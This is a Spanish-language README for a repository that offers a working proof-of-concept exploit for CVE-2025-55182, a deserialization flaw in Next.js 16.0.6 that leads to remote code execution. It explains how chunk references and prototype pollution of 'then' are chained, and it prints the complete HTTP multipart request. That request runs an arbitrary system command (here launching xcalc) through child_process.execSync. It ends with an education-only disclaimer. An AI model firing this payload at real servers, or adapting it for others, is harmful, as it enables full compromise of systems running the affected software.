
Más enfocado en exploits; ideal para repositorios de investigación en seguridad.
Este repositorio contiene un proof-of-concept (POC) funcional para CVE-2025-55182, una vulnerabilidad crítica de deserialización que afecta a Next.js 16.0.6.
El exploit abusa de la deserialización de chunks $@ y de Chunk.prototype.then para obtener control total sobre el proceso de resolución de chunks y lograr ejecución arbitraria de código (RCE) en el servidor.
Next.js utiliza objetos Chunk internos y un mecanismo de streaming/deserialización para las acciones del servidor.
Abusando de $@ para deserializar una referencia de Chunk e inyectando Chunk.prototype.then en el objeto raíz, un atacante puede:
then(...) con un controlado por el atacantethisstatus del chunk en resolved_modelinitializeModelChunk con un chunk falso completamente controlado por el atacantechunk._response para alcanzar comportamientos internos peligrososEl objetivo final es desencadenar la deserialización de Blob, que ejecuta una llamada como:
response._formData.get(response._prefix)
Al establecer response._formData.get = Function y colocar código arbitrario en response._prefix, el atacante puede ejecutar comandos arbitrarios del sistema.
La solicitud HTTP en poc/CVE-2025-55182.http demuestra el exploit contra Next.js 16.0.6 ejecutándose localmente, lanzando xcalc mediante child_process.execSync:
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
/
├── README.md
├── DISCLAIMER.md
├── poc/
│ └── CVE-2025-55182.http
└── analysis/
└── exploitation-notes.md
Este proyecto se proporciona estrictamente solo con fines educativos y de investigación. NO use este exploit en ningún sistema que no posea o para el que no tenga permiso explícito por escrito para realizar pruebas.
El autor no asume ninguna responsabilidad por cualquier uso indebido o daño causado.